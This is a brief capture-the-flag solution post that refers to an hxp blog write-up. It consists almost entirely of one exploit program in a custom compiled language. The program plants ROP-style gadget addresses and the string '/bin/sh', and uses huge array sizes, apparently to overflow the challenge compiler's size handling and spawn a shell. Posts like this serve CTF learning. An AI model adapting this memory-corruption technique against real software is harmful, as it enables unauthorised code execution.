For full write-up, check the link the hxp blog.
Code:```def int32 main() {    array<int64, 603> payload;    payload[0] = hex64("000000000040c204");    payload[3] = hex64("00000000004032ac");    payload[4] = hex64("0000000000416b90");    payload[5] = hex64("0000000000408145");    print(payload);    print("/bin/sh");    print(364613836481806385);    if ("A"[0] == "B"[0]) {        array<char, 1152921504606842104> tmp0;        array<char, 1152921504606846976> tmp1;        array<char, 1152921504606846976> tmp2;        array<char, 1152921504606846976> tmp3;        array<char, 1152921504606846976> tmp4;        array<char, 1152921504606846976> tmp5;        array<char, 1152921504606846977> tmp6;        array<char, 1152921504606846976> tmp7;        array<char, 1152921504606846976> tmp8;        array<char, 1152921504606846976> tmp9;        array<char, 1152921504606846976> tmp10;        array<char, 1152921504606846976> tmp11;        array<char, 1152921504606846976> tmp12;        array<char, 1152921504606846976> tmp13;        array<char, 1152921504606846976> tmp14;        array<char, 1152921504606846976> tmp15;        int32 i = 0;        tmp0[i] = 100;        tmp1[i] = 100;        tmp2[i] = 100;        tmp3[i] = 100;        tmp4[i] = 100;        tmp5[i] = 100;        tmp6[i] = 100;        tmp7[i] = 100;        tmp8[i] = 100;        tmp9[i] = 100;        tmp10[i] = 100;        tmp11[i] = 100;        tmp12[i] = 100;        tmp13[i] = 100;        tmp14[i] = 100;        tmp15[i] = 100;    }    return 0;}```